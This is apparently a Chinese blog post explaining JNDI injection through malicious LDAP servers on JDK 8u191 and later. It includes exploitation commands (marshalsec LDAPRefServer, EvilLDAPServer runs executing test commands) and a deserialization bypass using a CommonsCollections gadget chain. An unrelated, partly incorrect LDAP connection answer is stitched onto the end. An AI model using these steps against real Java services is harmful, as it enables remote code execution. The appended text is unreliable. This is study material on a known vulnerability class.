《JDK 8u191之后的JNDI注入(LDAP)》学习

213 篇文章 3 订阅

参考:

JNDI注入,即某代码中存在JDNI的string可控的情况,可构造恶意RMI或者LDAP服务端,导致远程任意类被加载,造成任意代码执行。

JNDI注入中RMI和LDAP与JDK版本的关系,参考这张图:
在这里插入图片描述
来源:
https://xz.aliyun.com/t/6633

RMI + JNDI Reference利用方式:

JDK 6u132, JDK 7u122, JDK 8u113
com.sun.jndi.rmi.object.trustURLCodebase
com.sun.jndi.cosnaming.object.trustURLCodebase 的默认值变为false
即默认不允许从远程的Codebase加载Reference工厂类

LDAP + JDNI Reference利用方式:

JDK 6u211,7u201, 8u191, 11.0.1之后
com.sun.jndi.ldap.object.trustURLCodebase 属性的默认值被调整为false
(CVE-2018-3149)
目前的方式是搭建一个自定义的恶意LDAP服务端,并设置远程的<codebase_url#classname>,最后指定LDAP服务监听的端口号1099:

java marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer https://raw.githubusercontent.com/xxx/notes/master/#Exploit 1099

然后执行客户端代码,即完成漏洞利用。
在这里插入图片描述
从图中可以看出JNDI客户端中JDK版本对漏洞利用的影响。

这种利用方式的调用栈为:

newInstance:387, Class (java.lang)
getObjectFactoryFromReference:163, NamingManager (javax.naming.spi)
getObjectInstance:189, DirectoryManager (javax.naming.spi)
c_lookup:1085, LdapCtx (com.sun.jndi.ldap)
p_lookup:542, ComponentContext (com.sun.jndi.toolkit.ctx)
lookup:177, PartialCompositeContext (com.sun.jndi.toolkit.ctx)
lookup:205, GenericURLContext (com.sun.jndi.toolkit.url)
lookup:94, ldapURLContext (com.sun.jndi.url.ldap)
lookup:417, InitialContext (javax.naming)
connect:624, JdbcRowSetImpl (com.sun.rowset)
setAutoCommit:4067, JdbcRowSetImpl (com.sun.rowset)

于是这里作者提出了一种绕过这种防御机制的方法。

绕过JDK高版本限制的JNDI注入(LDAP)方法一

使用unboundid-ldapsdk-3.1.1.jar搭建恶意LDAP服务:
Windows:

javac -encoding GBK -g -cp "commons-collections-3.1.jar;unboundid-ldapsdk-3.1.1.jar" EvilLDAPServer.java 
java -cp ".;commons-collections-3.1.jar;unboundid-ldapsdk-3.1.1.jar" EvilLDAPServer 192.168.85.1 10388 "mkdir test_by_shadow"

Linux:

javac -encoding GBK -g -cp "commons-collections-3.1.jar:unboundid-ldapsdk-3.1.1.jar" EvilLDAPServer.java

然后执行JDNI客户端:

javac -encoding GBK -g VulnerableClient.java
java -cp "commons-collections-3.1.jar:." -Djava.naming.factory.initial=com.sun.jndi.ldap.LdapCtxFactory -Djava.naming.provider.url=ldap://192.168.85.1:10388/dc=cqq,dc=com VulnerableClient o=anything

JNDI客户端使用了1.8.0_201,仍然可以利用成功!说明此方法有效。
这里的原理是

EvilLDAPServer.java自己实现一个恶意LDAP服务,直接操作"javaSerializedData"属性。
在这里插入图片描述

这个技术方案相当于有一方在ObjectInputStream.readObject(),另一方在ObjectOutputStream.writeObject(),后者是攻击者可控的,前者没有缺省过滤器。此时只受限于受害者一侧CLASSPATH中是否存在Gadget链的依赖库,对JDK没有版本要求。

LDAP特殊服务端writeObject:
在这里插入图片描述
LDAP客户端readObject:

在这里插入图片描述
调用栈:

readObject0:1573, ObjectInputStream (java.io) [3]
readObject:431, ObjectInputStream (java.io)
readObject:144, LazyMap (org.apache.commons.collections.map)
invoke:-1, GeneratedMethodAccessor118 (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
invokeReadObject:1170, ObjectStreamClass (java.io)
readSerialData:2178, ObjectInputStream (java.io)
readOrdinaryObject:2069, ObjectInputStream (java.io)
readObject0:1573, ObjectInputStream (java.io) [2]
readObject:431, ObjectInputStream (java.io)
readObject:1211, Hashtable (java.util)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
invokeReadObject:1170, ObjectStreamClass (java.io)
readSerialData:2178, ObjectInputStream (java.io)
readOrdinaryObject:2069, ObjectInputStream (java.io)
readObject0:1573, ObjectInputStream (java.io) [1]
readObject:431, ObjectInputStream (java.io)
deserializeObject:531, Obj (com.sun.jndi.ldap)
decodeObject:239, Obj (com.sun.jndi.ldap)
c_lookup:1051, LdapCtx (com.sun.jndi.ldap)
p_lookup:542, ComponentContext (com.sun.jndi.toolkit.ctx)
lookup:177, PartialCompositeContext (com.sun.jndi.toolkit.ctx)
lookup:205, GenericURLContext (com.sun.jndi.toolkit.url)
lookup:94, ldapURLContext (com.sun.jndi.url.ldap)
lookup:417, InitialContext (javax.naming)
connect:624, JdbcRowSetImpl (com.sun.rowset)
setAutoCommit:4067, JdbcRowSetImpl (com.sun.rowset)

绕过JDK高版本限制的JNDI注入(LDAP)方法二

其实JDK自带的LDAP服务就可以。
先是开启一个LDAP服务:

java -jar C:\Users\Administrator\Downloads\ldap-server.jar -a -b 192.168.85.1 -p 10389 jndi.ldif

然后:

java -cp "commons-collections-3.1.jar:." -Djava.naming.factory.initial=com.sun.jndi.ldap.LdapCtxFactory -Djava.naming.provider.url=ldap://192.168.85.1:10389/o=anything,dc=cqq,dc=com EvilLDAPServer5 cn=any "/bin/touch /tmp/cqq_is_here"

最后开启客户端:

java -cp "commons-collections-3.1.jar:." -Djava.naming.factory.initial=com.sun.jndi.ldap.LdapCtxFactory -Djava.naming.provider.url=ldap://192.168.85.1:10389/o=anything,dc=cqq,dc=com VulnerableClient cn=any

即可完成攻击。
在这里插入图片描述

绕过JDK高版本限制的JNDI注入(LDAP)方法三

执行步骤与之前一致:

javac -encoding GBK -g -cp "commons-collections-3.1.jar" EvilLDAPServer6.java
java -cp "commons-collections-3.1.jar:." -Djava.naming.factory.initial=com.sun.jndi.ldap.LdapCtxFactory -Djava.naming.provider.url=ldap://192.168.85.1:10389/o=anything,dc=cqq,dc=com EvilLDAPServer6 cn=any "/bin/touch /tmp/cqq_is_here_by_EvilLDAPServer6"

然后启动客户端:

java -cp "commons-collections-3.1.jar:." -Djava.naming.factory.initial=com.sun.jndi.ldap.LdapCtxFactory -Djava.naming.provider.url=ldap://192.168.85.1:10389/o=anything,dc=cqq,dc=com VulnerableClient cn=any

在这里插入图片描述

总结传统LDAP与绕过高版本JDK的LDAP的JNDI注入(javaSerializedData)的区别

两种利用方式前期的调用栈是一致是:

c_lookup:1051, LdapCtx (com.sun.jndi.ldap)
p_lookup:542, ComponentContext (com.sun.jndi.toolkit.ctx)
lookup:177, PartialCompositeContext (com.sun.jndi.toolkit.ctx)
lookup:205, GenericURLContext (com.sun.jndi.toolkit.url)
lookup:94, ldapURLContext (com.sun.jndi.url.ldap)
lookup:417, InitialContext (javax.naming)
connect:624, JdbcRowSetImpl (com.sun.rowset)
setAutoCommit:4067, JdbcRowSetImpl (com.sun.rowset)

jdk1.8.0\jre\lib\rt.jar!\com\sun\jndi\ldap\LdapCtx#c_lookup(Name var1, Continuation var2)中调用:

Obj.decodeObject((Attributes)var4);

跟进Obj.decodeObject()方法:
在这里插入图片描述

传统的LDAP的JNDI注入方式下

LDAP服务端下并没有设置
javax.naming.directory.BasicAttributes对象的javaSerializedData属性,
于是进入最后一个else逻辑:
返回decodeReference()的结果
赋值给var3
然后调用:

javax.naming.spi.DirectoryManager.getObjectInstance(var3, var1, this, this.envprops, (Attributes)var4);

然后调用:

javax.naming.spi.NamingManager.getObjectFactoryFromReference(Reference ref, String factoryName)

跟进,

clas = helper.loadClass(factoryName, codebase);    // 载入从codebase中的指定的类
clas.newInstance();                                // 调用该类的构造器,执行恶意代码
绕过的LDAP的JNDI注入方式下

由于特制的LDAP服务端通过ObjectOutputStream#writeObject()
写入了javaSerializedData属性,
于是在关键步骤下进入了第一个if逻辑中(如果有这个javaSerializedData属性,则会对其进行反序列化),
执行了

deserializeObject()

然后各种ObjectInputStream#readObject()
进行反序列化操作,这里利用CommonsCollections7链完成了RCE。

高版本JDK对LDAP的限制方式

com\sun\naming\internal\VersionHelper12#loadClass(String className, String codebase)

在这里插入图片描述
会对系统属性com.sun.jndi.ldap.object.trustURLCodebase的值进行判断,这里将其值设置为false,所以在loadClass的时候会返回null,导致无法加载远程codebase。
在这里插入图片描述
而进入loadClass所在的位置是:
在这里插入图片描述
而我们的绕过这个loadClass检查的利用方式是在这里

deserializeObject()

F7就完成了的。
在这里插入图片描述
当然,与传统LDAP的JNDI注入利用方式不同(加载远程codebase的class,调用静态代码块或者构造器),这里绕过方式的利用原理由于其实就是反序列化,所以利用条件是:受影响的服务端(JNDI客户端)存在gadget链。

很抱歉,目前最新版本的JDKJDK 17,而不是JDK 21。关于LDAP(轻量级目录访问协议)连接的介绍如下: LDAP是一种用于访问和维护分布式目录服务的协议。它提供了一种标准的方式来访问和操作目录中的数据。在Java中,可以使用JNDI(Java命名和目录接口)来连接和操作LDAP服务器。 要连接LDAP服务器,首先需要导入JNDI相关的类库。然后,可以通过创建一个InitialDirContext对象来建立与LDAP服务器的连接。在创建InitialDirContext对象时,需要提供LDAP服务器的URL、用户名和密码等连接参数。 以下是一个简单的示例代码,演示了如何使用JNDI连接LDAP服务器: ```java import javax.naming.*; import javax.naming.directory.*; public class LDAPConnectionExample { public static void main(String[] args) { String ldapUrl = "ldap://ldap.example.com:389"; String username = "cn=admin,dc=example,dc=com"; String password = "adminpassword"; try { // 创建连接 Hashtable<String, String> env = new Hashtable<>(); env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.ldap.LdapCtxFactory"); env.put(Context.PROVIDER_URL, ldapUrl); env.put(Context.SECURITY_AUTHENTICATION, "simple"); env.put(Context.SECURITY_PRINCIPAL, username); env.put(Context.SECURITY_CREDENTIALS, password); DirContext ctx = new InitialDirContext(env); // 连接成功,可以进行操作 // ... // 关闭连接 ctx.close(); } catch (NamingException e) { e.printStackTrace(); } } } ``` 在上述示例中,需要替换ldapUrl、username和password为实际的LDAP服务器信息和凭据。连接成功后,可以在注释部分进行LDAP操作,如搜索、添加、修改和删除条目等。
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值